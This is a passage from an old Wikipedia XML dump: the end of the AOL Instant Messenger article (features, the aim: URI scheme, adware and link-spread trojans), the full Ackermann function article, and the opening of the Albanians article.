* '''[[Away message]]:''' A function of some instant messaging applications whereby a user may post a message that appears automatically to other users if they attempt to make contact, and he or she is not available. It is analogous to the voice message in an answering machine or voice mail system. However, away messages are often updated much more frequently than messages in answering machines, and thus may serve as a means of instant, limited &quot;publication&quot; or indirect communication. Away messages are stored on the local hard drive, so if there are multiple computers with mulitple instances of AIM, when an away message is added to one instance, AIM does not automatically update the other instances. (Advanced users may want to check out the [http://www.aim.com/help_faq/using/win/away.adp?aolp=#backup FAQs] to see how to export away messages from the registry.)
* '''[[Buddy List]]:''' The centerpiece of AIM, a list containing the status of up to 500 buddies stored on an AIM server so you can access this list from any instance of AIM.  The status can be 'online', 'away', 'idle', 'mobile', or 'offline'.  
* '''[[Screen name (computing)|Screenname]]:''' Term for [[user name]] with AOL origins. These are available for free along with software downloads from [http://www.aim.com/get_aim/win/latest_win.adp AOL]
* '''[[Messaging spam|Spim]]:''' Spam over Instant messaging. The spam problem in e-mail has the potential to spread to Instant Messaging, in the form of one-line advertisements. As a closed network, AOL has been able to block most SPIM, but some still passes through to users.
* '''Warning:''' If a user feels a received instant message is inappropriate, he or she can &quot;warn&quot; the sender, which increases the sender's warning level. Warning levels reduce the rate at which users can send messages and can eventually cause a given ScreenName to be unable to sign-on for a period of time. The warning system has been controversial, with those opposing it claiming that it can be abused easily, and just as easily avoided by creating a new screenname to continue harassment. The latest changes to AIM resolve some of the abuse.
* '''Direct connection:''' AIM users can connect to each other on port 5190 and send various forms of media. However, this has security issues.
*An '''AIM Closed List''' or '''Buddies Only''' refers to the option on the AOL Instant Messenger client to allow only users on a [[Screenname|screen name]]'s [[buddy list]] to contact him/her.  This is to prevent [[harassment]] or [[spam (electronic)|spam]]ming, and is also a secure way to chat with your friends.

==AIM URI Scheme==
AOL Instant Messenger's installation process automatically installs an extra [[URI scheme]] (&quot;protocol&quot;) handler into some web browsers, so that URIs beginning &quot;&lt;tt&gt;aim:&lt;/tt&gt;&quot; can open a new AIM window with specified parameters. This is similar in function to the &lt;tt&gt;mailto:&lt;/tt&gt; URI scheme, which creates a new e-mail message using the system's default mail program. For instance, a web page might include a link like the following in its HTML source to open a window for sending a message to the AIM user ''notarealuser'':
 &lt;code&gt;&amp;lt;a href=&quot;'''aim:goim?screenname=notarealuser'''&quot;&amp;gt;Send Message&amp;lt;/a&amp;gt;&lt;/code&gt;

To specify a message body, the &lt;code&gt;message&lt;/code&gt; parameter is used, so that the link location might look like this:
 &lt;code&gt;aim:goim?screenname=notarealuser&amp;message=This+is+my+message&lt;/code&gt;

==Spyware/Adware/Viruses==
[[Viewpoint Media Player]] is a program that is installed during the installation of AOL Instant Messenger that is a [[plugin]] for displaying graphical content in the software's own proprietary format. According to the software's [[end user license agreement]], Viewpoint Media Player collects usage information and forwards it to Viewpoint servers. Each installation of Viewpoint Media Player contains a unique alphanumeric identification number that can be used to uniquely identify an installation of the software.

A successful attempt to remove Viewpoint Media Player while AOL Instant Messenger is still installed will cause AOL Instant Messenger to reinstall Viewpoint Media Player the next time AOL Instant Messenger is run.

Since the AOL Instant Messenger protocols do not require the AOL Instant Messenger program, users that are concerned about Spyware/Adware are free to check out other client programs and avoid AOL's software altogether. Many full featured instant messenger applications, such as [[Gaim]] and [[Trillian (instant messenger)|Trillian]], offer no-cost (and with Gaim, open source) instant messaging applications and do not contain any advertising or spyware.

However, issues do exist when using alternative clients. Both Gaim and Trillian have trouble transferring files between Linux and Windows.

Recently, AOL Instant Messenger has suffered from an influx of viruses and trojans, which are transmitted when a user clicks a malicious link. When a user is affected, the link may be inserted into the user's profile or away message, with no way in which to remove it. The worst case is when the trojan causes the user to automatically send messages containing the malicious link to people on the user's buddy list in an instant message conversation window. These links are often well disguised as links to pictures of the user (ie: &quot;Click here to see pics of me from vacation!&quot; or &quot;Is this ''you?''&quot;) and since the messages are coming from a user's friend, they assume them to be authentic links. Some of these links will automatically download a malicious .com file to the user's computer, thus infecting it. 

However, users can avoid these problems by practicing discretion when clicking any links on AOL Instant Messenger, whether in away messages, profiles, or conversations. If a user were to hold his/her cursor over the link for a second or two, the URL of the link would be displayed. Some of these malicious links are obvious just from the URL alone, as some messages claim to show someone pictures of a user, yet do not end with a .jpg, .jpeg, .gif, .png, .html, .htm, etc. extension. To prevent AOL from being liable for such infections, the window of a user's profile now states &quot;Warning: Links may contain viruses or trojans.&quot;

==See also==
*[[Adium]] (OS X Client)
*[[AIM+]] (Add-on)
*[[AIMutation]] (Add-on)
*[[AIM Fight]] (Popularity Toy)
*[[DeadAIM]] (Add-on)
*[[Gaim]] (Cross-Platform Client)
*[[iChat]] (OS X Client)
*[[List of instant messengers]]
*[[Messenger:Mate]] (Add-on)
*[[Middle man (AIM plugin)]] (Add-on)
*[[OSCAR protocol]]
*[[TOC2 protocol]]
*[[TerraIM]] (Cross-Platform Client)
*[[Trillian (instant messenger)]] (Windows Client)

==External links==
===Official sites and download locations===
*[http://www.aim.com/ AIM.com]

===Useful Tools===
*[http://jayloden.com/aimfix.htm AIMFix] &amp;mdash; Remove AIM viruses
*[http://doorman.info/index.php?page=info DoorManBot] &amp;mdash; Send Offline Messages

===Online versions of AIM===
*[http://aimexpress.aol.com AIM Express]
*[http://www.webaim.net/ WebAIM.net]
*[http://www.meebo.com/ Meebo]
*[http://www.e-messenger.net// E-messenger]

===Third-party clients===
*[http://bsflite.sourceforge.net/ BSFlite] (Linux/Mac/Windows)
*[http://fire.sourceforge.net/ Fire] (Mac)
*[http://kopete.kde.org/ Kopete] (Linux)
*[http://www.meetro.com/ Meetro] (Windows)
*[http://miniaim.net/ miniaim] (Windows)
*[http://www.miranda-im.org/ Miranda] (Windows)
*[http://site.n.ml.org/info/naim/ naim] (Linux)
*[http://www.defaultware.com/proteus/ Proteus] (Mac)
*[http://tnt.sourceforge.net/ TNT] (Linux - Emacs)

===Third-party services===

====AIM Bot Creation====
*[http://www.ai-buddy.com/ AI-Buddy]
*[http://www.lots-a-bots.com/ Lots-A-Bots]
*[http://www.runabot.com/ Run-A-Bot]

====Profile Tools and Extensions====
* [http://www.buddy4u.com/ Buddy4u.com]
* [http://www.buddyprofile.com/ Buddy Profile]
* [http://www.subprofile.com/ Subprofile.com]

===Other===
* [http://www.aimfilez.com/ AIM Filez] &amp;mdash; various, including secrets and modifications
* [http://www.aimforum.com/ AIMForum.com] &amp;mdash; Unofficial support and discussion about AIM
* [http://www.iconator.com/ Iconator] &amp;mdash; buddy icons and away messages
* [http://journals.aol.com/juberti/runningman/entries/131 AIM URLs] &amp;mdash; Different URLs you can use to launch AIM

{{Time Warner}}

[[Category:AIM clients]]
[[Category:America Online]]
[[Category:Mac OS instant messengers]]
[[Category:Windows instant messengers]]

[[de:AOL Instant Messenger]]
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    </revision>
  </page>
  <page>
    <title>Ackermann function</title>
    <id>2925</id>
    <revision>
      <id>41232281</id>
      <timestamp>2006-02-25T23:21:08Z</timestamp>
      <contributor>
        <username>Shadow1</username>
        <id>690159</id>
      </contributor>
      <comment>Fixed link to disambiguation page</comment>
      <text xml:space="preserve">In the [[theory of computation]], the '''Ackermann function''' or '''Ackermann-Péter function''' is a simple example of a [[recursive function]] that is not [[Primitive recursive function|primitively recursive]]. It takes two [[natural number]]s as arguments and yields another natural number. Its value grows extremely quickly; even for small inputs, for example (''4,3''), the values of the Ackermann function become so large that they cannot be feasibly computed, and in fact their decimal expansions require more digits than there are [[Elementary_particle|particle]]s in the entire physical universe.

==History==
In the late 1920s, the mathematicians [[Gabriel Sudan]] and [[Wilhelm Ackermann]], students of [[David Hilbert]], were studying the foundations of computation. Sudan is credited with inventing the lesser-known [[Sudan function]], the first published function that is recursive but not primitive-recursive. Shortly afterwards and independently, in 1928, Ackermann published his own recursive but non-primitive recursive function.[http://groups.google.com/group/soc.culture.romanian/tree/browse_frm/thread/7f684f8bd7f3edb1/]

Ackermann originally considered a function ''A''(''m'',&amp;nbsp;''n'',&amp;nbsp;''p'') of three variables, the ''p''-fold iterated exponentiation of ''m'' with ''n'', or ''m''&amp;nbsp;→&amp;nbsp;''n''&amp;nbsp;→&amp;nbsp;''p'' as expressed using the [[Conway chained arrow]]. When ''p''&amp;nbsp;=&amp;nbsp;1, this is ''m''&lt;sup&gt;''n''&lt;/sup&gt;, which is ''m'' multiplied by itself ''n'' times. When ''p''&amp;nbsp;=&amp;nbsp;2, it is a tower of exponents &lt;math&gt;{{m^m}^{{\cdot}^{{\cdot}^{{\cdot}^m}}}}&lt;/math&gt; with ''n'' levels, or ''m'' raised ''n'' times to the power ''m'' also written as &lt;sup&gt;''n''&lt;/sup&gt;''m'', the [[tetration]] of ''m'' with ''n''. We can continue to generalize this indefinitely as ''p'' becomes larger.

Ackermann proved that ''A'' is a recursive function, a function a computer with unbounded memory can calculate, but it is not a [[primitive recursive function]], a class of functions including almost all familiar functions such as addition and [[factorial]]. 

In [[#vonHeijenoort|''On the Infinite'']], [[David Hilbert]] hypothesized that the Ackermann function was not primitively recursive, but it was Ackermann, a former student and Hilbert’s personal secretary, who actually proved the hypothesis in his paper [[#vonHeijenoort|''On Hilbert’s Construction of the Real Numbers'']]. ''On the Infinite'' was Hilbert’s most important paper on the foundations of mathematics, serving as the heart of [[#Hilbert|Hilbert's program]] to secure the foundation of transfinite numbers by basing them on finite methods. The paper also outlines a proof of the [[continuum hypothesis]] and is central in influencing [[Kurt Gödel]] to study the [[#vonHeijenoort|completeness and consistency of mathematics]] leading to [[Gödel's incompleteness theorem]].

A similar function of only two variables was later defined by [[Rozsa Peter]] and [[Raphael Robinson]]; its definition is given below. The numbers, except in the first few rows, are three less than powers of two. For the exact relation between the two functions, see below.

==Definition and properties==
The Ackermann function is defined [[recursion|recursively]] for non-negative integers ''m'' and ''n'' as follows:

: &lt;math&gt; A(m, n) = 
  \begin{cases}
     n+1 &amp; \mbox{if } m = 0 \\
     A(m-1, 1) &amp; \mbox{if } m &gt; 0 \mbox{ and } n = 0 \\
     A(m-1, A(m, n-1)) &amp; \mbox{if } m &gt; 0 \mbox{ and } n &gt; 0.
  \end{cases}
&lt;/math&gt;

The Ackermann function can be calculated by a simple function based directly on the definition:

  '''function''' ack(m, n)
      '''if''' m = 0
          '''return''' n+1
      '''else if''' n = 0
          '''return''' ack(m-1, 1)
      '''else'''
          '''return''' ack(m-1, ack(m, n-1))

[[Haskell programming language|Haskell]] yields a more concise definition:

  ack 0 n = n + 1
  ack m 0 = ack (m - 1) 1
  ack m n = ack (m - 1) (ack m (n - 1))

It may be surprising that these functions always return a value. This is because at each step either ''n'' decreases, or ''n'' increases and ''m'' decreases. Each time that ''n'' reaches zero, ''m'' must decrease, so ''m'' must eventually reach zero as well.  However, when ''m'' decreases there is no upper bound on how much ''n'' can increase — and it will often increase greatly.  

The Ackermann function can also be expressed nonrecursively using [[Conway chained arrow]]:

:''A''(''m'', ''n'') = (2 → (''n''+3) → ''(m'' &amp;minus; 2)) &amp;minus; 3 for ''m''&amp;nbsp;&gt;&amp;nbsp;2

hence

:2 → ''n'' → ''m'' = ''A''(''m''+2,''n''-3) + 3 for ''n''&gt;2

(''n''=1 and ''n''=2 would correspond with ''A''(''m'',&amp;minus;2)&amp;nbsp;=&amp;nbsp;&amp;minus;1 and ''A''(''m'',&amp;minus;1)&amp;nbsp;=&amp;nbsp;1, which could logically be added).

or the [[hyper operator]]s:

:''A''(''m'', ''n'') = hyper(2, m, n + 3) &amp;minus; 3.

For small values of ''m'' like 1, 2, or 3, the Ackermann function grows relatively slowly with respect to ''n'' (at most [[exponential growth|exponentially]]). For ''m'' &amp;ge; 4, however, it grows much more quickly; even ''A''(4,&amp;nbsp;2) is about 2&amp;times;10&lt;sup&gt;19728&lt;/sup&gt;, and the decimal expansion of ''A''(4,&amp;nbsp;3) cannot be recorded in the physical universe. If we define the function ''f''&amp;nbsp;(''n'')&amp;nbsp;=&amp;nbsp;''A''(''n'',&amp;nbsp;''n''), which increases both ''m'' and ''n'' at the same time, we have a function of one variable that dwarfs every [[primitive recursive function]], including very fast-growing functions such as the [[exponential function]], the [[factorial]] function, multi- and superfactorial functions, and even functions defined using [[Knuth's up-arrow notation]] (except when the indexed up-arrow is used).

This extreme growth can be exploited to show that ''f'', which is obviously computable on a machine with infinite memory such as a [[Turing machine]] and so is a [[recursive function]], grows faster than any [[primitive recursive function]] and is therefore not primitive recursive. In combination with the Ackermann function's applications in analysis of algorithms, discussed later, this debunks the theory that all useful or simple functions are primitive recursive functions. (But that is not the end of this line of thought: The [[Busy beaver]] functions grow faster than any recursive function, and indeed it can be shown that if they could be evaluated in general, we could solve the [[halting problem]] so such evaluation is impossible.)

One surprising aspect of the Ackermann function is that the only arithmetic operations it ever uses are addition and subtraction of 1. Its properties come solely from the power of unlimited [[recursion]]. This also implies that its running time is at least proportional to its output, and so is also extremely huge. In actuality, for most cases the running time is far larger than the output; see below.

==Table of values==
Computing the Ackermann function can be restated in terms of an infinite table. We place the natural numbers along the top row. To determine a number in the table, take the number immediately to the left, then look up the required number in the previous row, at the position given by the number just taken. If there is no number to its left, simply look at column 1 in the previous row. Here is a small upper-left portion of the table:

{| border=&quot;1&quot; cellpadding=&quot;2&quot;
|+ Values of ''A''(''m'',&amp;nbsp;''n'')
|-
! ''m''\''n''
! 0
! 1
! 2
! 3
! 4
! n
|-
! 0
| 1 || 2 || 3 || 4 || 5 || &lt;math&gt;n + 1&lt;/math&gt;
|-
! 1
| 2 || 3 || 4 || 5 || 6 || &lt;math&gt;2+(n+3)-3&lt;/math&gt;
|-
! 2
| 3 || 5 || 7 || 9 || 11 || &lt;math&gt;2\cdot(n + 3)-3&lt;/math&gt;
|-
! 3
| 5 || 13 || 29 || 61 || 125 || &lt;math&gt;2^{(n+3)} - 3&lt;/math&gt;
|-
! 4
| 13 || 65533
| 2&lt;sup&gt;65536&lt;/sup&gt;&amp;nbsp;&amp;minus;&amp;nbsp;3
| ''A''(3,&amp;nbsp;2&lt;sup&gt;65536&lt;/sup&gt;&amp;nbsp;&amp;minus;&amp;nbsp;3)
| ''A''(3,&amp;nbsp;''A''(4,&amp;nbsp;3))
| &lt;math&gt;\begin{matrix}\underbrace{{2^2}^{{\cdot}^{{\cdot}^{{\cdot}^2}}}} - 3 \\n\mbox{ + 3 twos}\end{matrix}&lt;/math&gt;
|-
! 5
| 65533 || ''A''(4,&amp;nbsp;65533) || ''A''(4,&amp;nbsp;''A''(5,&amp;nbsp;1))
| ''A''(4,&amp;nbsp;''A''(5,&amp;nbsp;2)) || ''A''(4,&amp;nbsp;''A''(5,&amp;nbsp;3))
|-
! 6
| ''A''(5,&amp;nbsp;1) || ''A''(5,&amp;nbsp;''A''(5,&amp;nbsp;1))
| ''A''(5,&amp;nbsp;A(6,&amp;nbsp;1))
| ''A''(5,&amp;nbsp;''A''(6,&amp;nbsp;2)) || ''A''(5,&amp;nbsp;''A''(6,&amp;nbsp;3))
|}

''A''(4,&amp;nbsp;2) is greater than the number of particles in the universe raised to the power 200. ''A''(5,&amp;nbsp;2) is the item at column ''A''(5,&amp;nbsp;1) in the ''m''&amp;nbsp;=&amp;nbsp;4 row, and cannot be written as a decimal expansion in the physical universe.  Beyond row 4 and column 1, the values can no longer be feasibly written with any standard notation other than the Ackermann function itself — writing them as decimal expansions, or even as references to rows with lower ''m'', is not possible.  

If you were able to expand every particle in the universe to a universe the size of ours by snapping your fingers, and likewise with all the particles in the created universes, and did this repeatedly, you would die of old age before the number of particles reached A(4,&amp;nbsp;3). A(5,&amp;nbsp;1) is larger than even this number.  

Despite the inconceivably large values occurring in this early section of the table, some even larger numbers have been defined, such as [[Graham's number]], which cannot be written with any small (or, indeed, recordable) number of [[Knuth's up-arrow notation|Knuth arrow]]s. This number is constructed with a technique similar to applying the Ackermann function to itself recursively. Extending the table further to overcome it is like trying the same with the list of natural numbers.

==Explanation==
To see how the Ackermann function grows so quickly, it helps to expand out some simple expressions using the rules in the original definition. For example, we can fully evaluate ''A''(1,&amp;nbsp;2) in the following way:
&lt;pre&gt; 
A(1, 2) = A(0, A(1,1))
        = A(0, A(0, A(1,0)))
        = A(0, A(0, A(0,1)))
        = A(0, A(0, 2))
        = A(0, 3)
        = 4
&lt;/pre&gt;
Now let us attempt the more complex ''A''(4,&amp;nbsp;3), the first value with fairly small ''n'' which cannot be recorded as a decimal expansion in the physical universe:
&lt;pre&gt;
A(4, 3) = A(3, A(4, 2))
        = A(3, A(3, A(4, 1)))
        = A(3, A(3, A(3, A(4, 0))))
        = A(3, A(3, A(3, A(3, 1))))
        = A(3, A(3, A(3, A(2, A(3, 0)))))
        = A(3, A(3, A(3, A(2, A(2, 1)))))
        = A(3, A(3, A(3, A(2, A(1, A(2, 0))))))
        = A(3, A(3, A(3, A(2, A(1, A(1, 1))))))
        = A(3, A(3, A(3, A(2, A(1, A(0, A(1, 0)))))))
        = A(3, A(3, A(3, A(2, A(1, A(0, A(0, 1)))))))
        = A(3, A(3, A(3, A(2, A(1, A(0, 2))))))
        = A(3, A(3, A(3, A(2, A(1, 3)))))
        = A(3, A(3, A(3, A(2, A(0, A(1, 2))))))
        = A(3, A(3, A(3, A(2, A(0, A(0, A(1, 1)))))))
        = A(3, A(3, A(3, A(2, A(0, A(0, A(0, A(1, 0))))))))
        = A(3, A(3, A(3, A(2, A(0, A(0, A(0, A(0, 1))))))))
        = A(3, A(3, A(3, A(2, A(0, A(0, A(0, 2))))))
        = A(3, A(3, A(3, A(2, A(0, A(0, 3)))))
        = A(3, A(3, A(3, A(2, A(0, 4)))))
        = A(3, A(3, A(3, A(2, 5))))
        = ...
        = A(3, A(3, A(3, 13)))
        = ...
        = A(3, A(3, 65533))
        = ...
&lt;/pre&gt;

We stop here because ''A''(3,&amp;nbsp;65533) returns 2&lt;sup&gt;65536&lt;/sup&gt;&amp;nbsp;&amp;minus;&amp;nbsp;3, a number which is much larger than the number of atoms in the visible universe.  After this, ''this'' number is itself raised as a power of 2 to obtain the final result.

==Inverse==
Since the function &amp;nbsp;''f''&amp;nbsp;(''n'')&amp;nbsp;=&amp;nbsp;''A''(''n'',&amp;nbsp;''n'') considered above grows very rapidly, its [[inverse function]], ''f''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;, grows very slowly.  This '''inverse Ackermann function''' ''f''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; is usually denoted by &amp;alpha;. In fact, &amp;alpha;(n) is less than 5 for any conceivable input size ''n'', since A(4,&amp;nbsp;4) has a number of digits that cannot itself be written in binary in the physical universe.  For all practical purposes, ''f''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;(''n'') can be regarded as being a constant.

This inverse appears in the time [[computational complexity theory|complexity]] of some [[algorithm]]s, such as the [[disjoint-set data structure]] and Chazelle's algorithm for [[minimum spanning tree]]s. Sometimes Ackermann's original function or other variations are used in these settings, but they all grow at similarly high rates.  In particular, some modified functions simplify the expression by eliminating the ''&amp;minus;3'' and similar terms.

A two-parameter variation of the inverse Ackermann function can be defined as follows:
:&lt;math&gt;\alpha(m,n) = \min\{i \geq 1 : A(i,\lfloor m/n \rfloor) \geq \log_2 n\}.&lt;/math&gt;
This function arises in more precise analyses of the algorithms mentioned above, and gives a more refined time bound.  In the [[disjoint-set data structure]], ''m'' represents the number of operations while ''n'' represents the number of elements; in the [[minimum spanning tree]] algorithm, ''m'' represents the number of edges while ''n'' represents the number of vertices.
Several slightly different definitions of &amp;alpha;(''m'',&amp;nbsp;''n'') exist; for example, log&lt;sub&gt;2&lt;/sub&gt;&amp;nbsp;''n'' is sometimes replaced by ''n'', and the [[floor function]] is sometimes replaced by a [[ceiling function|ceiling]].

==Use as benchmark==
The Ackermann function, due to its definition in terms of extremely deep [[recursion]], can be used as a benchmark of a [[compiler]]'s ability to optimize [[recursion]]. The Computer Language Shootout, for example, compares the amount of time required to evaluate this function for fixed arguments in many different programming language implementations[http://shootout.alioth.debian.org/benchmark.php?test=ackermann&amp;lang=all&amp;sort=fullcpu].

For example, a compiler which, in analyzing the computation of ''A''(3,&amp;nbsp;30), is able to save intermediate values like the ''A''(3,&amp;nbsp;''n'') and ''A''(2,&amp;nbsp;''n'') in that calculation rather than recomputing them, can speed up computation of ''A''(3,&amp;nbsp;30) by a factor of hundreds of thousands.  Also, if ''A''(2,&amp;nbsp;''n'') is computed directly rather than as a recursive expansion of the form ''A''(1,&amp;nbsp;''A''(1,&amp;nbsp;''A''(1,...''A''(1,&amp;nbsp;0)...))), this will save significant amounts of time.  Computing ''A''(1,&amp;nbsp;''n'') takes linear time in ''n''.  Computing ''A''(2,&amp;nbsp;''n'') requires quadratic time, since it expands to [[Big O notation|O]](''n'') nested calls to ''A''(1,&amp;nbsp;''i'') for various ''i''.  Computing ''A''(3,&amp;nbsp;''n'') requires time proportionate to 4&lt;sup&gt;''n''+1&lt;/sup&gt;.  The computation of ''A''(3,&amp;nbsp;1) in the example above takes 16 (4&lt;sup&gt;2&lt;/sup&gt;) steps.  

''A''(4,&amp;nbsp;2), which appears as a decimal expansion in several web pages, cannot possibly be computed by recursive application of the Ackermann function in any even remotely plausible amount of time. Instead, formulas such as ''A''(3,&amp;nbsp;''n'') = 8&amp;times;2&lt;sup&gt;''n''&lt;/sup&gt;&amp;minus;3 are used to quickly complete some of the recursive calls.

==See also==
* [[Tetration]]
* [[Busy beaver]]

==References==
* Wilhelm Ackermann, ''Zum Hilbertschen Aufbau der reelen Zahlen'', Math. Annalen 99 (1928), pp. 118-133.
* von Heijenoort. [http://www.andrew.cmu.edu/user/cebrown/notes/vonHeijenoort.html From Frege To Gödel], 1967. This is an invaluable reference in understanding the context of Ackermann's paper ''On Hilbert’s Construction of the Real Numbers'', containing his paper as well as Hilbert’s ''On The Infinite'' and Gödel’s two papers on the completeness and consistency of mathematics.&lt;div id=&quot;van Heijenoort&quot;&gt;&lt;/div&gt;
* Raphael M. Robinson, ''Recursion and double recursion'', Bull. Amer. Math. Soc., Vol. 54, pp. 987-993.

==External links==
*[http://www.stetson.edu/~efriedma/periodictable/html/Ac.html Erich Friedman's page on Ackermann] at [[Stetson University]]
*Scott Aaronson, ''[http://www.scottaaronson.com/writings/bignumbers.html  Who can name the biggest number?]'' (1999)
*[http://www-users.cs.york.ac.uk/~susan/cyc/a/ackermnn.htm Some values of the Ackermann function].
*[http://www.xgc.com/benchmarks/benchmarks.htm Example use of the Ackermann function as a benchmark]. Note the huge number of function calls used in computing low values.
*[http://www.kosara.net/thoughts/ackermann42.html Decimal expansion of A(4,2)]
*[http://forum.wolframscience.com/showthread.php?s=&amp;threadid=579 Hyper-operations] Posting on A New Kind of Science Forum discussing the arithmetic operators of the Ackermann function and their inverse operators with link to an extended article on the subject.
*[http://home.earthlink.net/~mrob/pub/math/ln-2deep.html Robert Munafo's Versions of Ackermann's Function] describes several variations on the definition of ''A''.
*&lt;div id=&quot;Hilbert&quot;&gt;Zach, Richard,&lt;/div&gt; [http://plato.stanford.edu/archives/fall2003/entries/hilbert-program/ &quot;Hilbert's Program&quot;], ''The Stanford Encyclopedia of Philosophy'' (Fall 2003 Edition), Edward N. Zalta (ed.)

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[[Category:Arithmetic]]
[[Category:Large numbers]]
[[Category:Special functions]]
[[Category:Theory of computation]]

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    <title>Albanians</title>
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      <text xml:space="preserve">{{protected}}
:''This article is about the Albanians as an [[ethnic group]]. For information about the residents or nationals of [[Albania]], see [[demographics of Albania]].''
{{Ethnic group|
|group=Albanians
|image=[[Image:Shqiptare.PNG|300px|]]
|poptime=''c.'' 8,000,000
|popplace=
[[Albania]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 3,385,000 [http://www.cia.gov/cia/publications/factbook/geos/al.html]&lt;br /&gt;
[[Kosovo]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 2,112,000 [http://enrin.grida.no/htmls/kosovo/SoE/popullat.htm]&lt;br /&gt;
[[Serbia]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 67,000&lt;br /&gt;
[[Republic of Macedonia]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 509,000&lt;br /&gt;
[[Greece]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 650,000&lt;br /&gt;
[[Italy]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 233,000&lt;br /&gt;
[[Sweden]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 40,000&lt;br /&gt;
[[Denmark]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 8,000&lt;br /&gt;
[[United States|USA]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 114,000&lt;br /&gt;
[[France]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 20,000&lt;br /&gt;
[[Slovenia]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 6,000&lt;br /&gt;
[[Croatia]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 4,500&lt;br /&gt;
[[Romania]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 500&lt;br /&gt;
[[Belgium]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 25,000&lt;br /&gt;
[[Great Britain]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 30,000&lt;br /&gt;
[[Switzerland]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 200,000&lt;br /&gt;
[[Germany]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 400,000&lt;br /&gt;
[[Montenegro]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 31,000&lt;br /&gt;
[[Norway]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; 7.000&lt;br /&gt;
[[Turkey]]:&lt;br&gt;&amp;nbsp;&amp;nbsp; indeterminate, see text&lt;br /&gt;
|langs=[[Albanian language|Albanian]]
|rels=[[Islam|Muslim]], [[Albanian Orthodox Church|Albanian Orthodox]], [[Roman Catholic]], [[Atheist]], other
|related=[[Arbëreshë]]&lt;br&gt;[[Arvanites]]&lt;br&gt;Other [[Indo-Europeans]]
}}
The '''Albanians''' are an [[ethnic group]] generally associated with [[Albania]], [[Kosovo]], [[Republic of Macedonia|Macedonia]] and the [[Albanian language]]. The majority of the Albanians nowadays live in the [[Albania|Republic of Albania]], [[Kosovo]] and [[Republic of Macedonia]] although there are Albanian minorities or immigrant communities in a number of other countries.

==Population==
Due to the high rate of migration of various ethnic groups throughout the [[Balkans]] in the last two decades, exact figures are difficult to obtain. A tenuous breakdown of Albanians by location is as follows:
*3,385,000 in [[Albania]] according to CIA factbook
*2,112,000 in [[Kosovo]] (the OSCE estimates)
*98,000 in [[Serbia and Montenegro]] which can be broken up as follows:
**67,000 [[Serbia]] ([[2002]] census)
**31,000 in [[Montenegro]] (according to the 2003 census; an estimated 50,000 by [http://www.albanian.com/information/countries/montenegro/index.html Albanian accounts]).
*509,000 in the [[Republic of Macedonia]] (from the 2002 census).
*more than 233,000 [http://www.ghanaweb.com/GhanaHomePage/NewsArchive/artikel.php?ID=68624 Albanians in Italy], the majority having arrived since 1991. See also [[Arbëreshë]].
*In [[Greece]], there were more waves of immigration from Albania, from the [[14th century]] to the [[1990s]]. As such, they are divided into different groups:
**[[Cham Albanians]]; an unknown number reside in the Greek region of [[Epirus]] (''Çamëria'' in Albanian) - there were thought to be around 19,000 before the end of [[World War II]], during which many fled to Albania to avoid the impending military court sentences, a consequence of their collaboration with the Italian/German occupying forces.
**The [[Eastern Orthodox Church|Orthodox Christian]] Albanian minority, which is located in North-western Greece. Their number is contested, but is a minimum of 30,000.
**[[Aromanians]] or ''Arvanitovlachs'' who now self-identify as Greek, from centuries-old migrations in the Ottoman period into the region now known as Greece.
**Albanian nationals who arrived during the [[1990s]], mainly as illegal immigrants; there are as many as 700.000 [of which up to 200.000 are documented as ethnic Greeks] according to the only official state report on immigration data [http://www.mmo.gr/pdf/general/IMEPO_Final_Report_English.pdf Statistical Data on Immigrants  in Greece]
*Albanians living permanently in [[Scandinavia]]:
**in [[Sweden]]: 40,000 Albanians.
**in [[Denmark]]: 8,000 Albanians.
**in [[Norway]]: 7,000 Albanians.
*In [[Turkey]], Turkish demographers have continuously mentioned numbers up to five million. However, many Albanians, who were deported from their land to Turkey, have been assimilated due to the assimilation policy of Turkish government.  Turkey does not compile official census figures for Albanians.
*In [[Egypt]]: 18,000 Albanians.  Mostly Tosk speakers. Many are descendants of the soldiers of [[Muhammad Ali of Egypt|Muhammad Ali]].  Much of the former nobility of Egypt was Albanian in origin.
*In the [[United States]] 114,000 Albanians, according to the [http://www.census.gov/prod/2004pubs/c2kbr-35.pdf 2000 US Census(PDF)]; includes Albanians coming from Albania only.

==Culture==
===Contribution to humanity===
Albanians have played a prominent role in the development of the [[The Arts|arts]] and [[sciences]] as well as in [[religion]] and [[sport]]. Prominent individuals have included the defender of Europe during the mid-15th century [[Skenderbeg]], the writer [[Ismail Kadare]], the painter [[Ibrahim Kodra]], the composer [[Simon Gjoni]], the [[Nobel prize]] winner [[Ferid Murad]], the Olympic athlete [[Klodiana Shala]], the [[Roman Catholic]] missionary [[Mother Teresa]] and [[Pope Clement XI]].Other well known individuals include the prime minister of the [[Ottoman Empire]] [[Ferhat Pasha]] and [[Mehemet Ali (Egypt)|Mehemet Ali]] the [[viceroy]] of [[Egypt]]. [[John Belushi]] and his brother [[Jim Belushi]] were of Albanian parents who immigrated in the USA after WWII. The American actress [[Eliza Dushku]] is also born of Albanian father and Norwegian mother.

===Language===
Most Albanians speak the [[Albanian language]], a member of the [[Indo-European]] language family. There are several variants of Albanian. The two main Albanian variants are Tosk and Gheg.
Some members of the Albanian diaspora do not speak the language (mostly in the US, Canada and UK) but are still considered Albanian by ethnic origin or descent.
Non-Albanians who studied the [[Albanian language]] include prominent individuals such as [[Franz Bopp]], [[Norbert Jokl]] and [[Robert Elsie]].

===Religion===
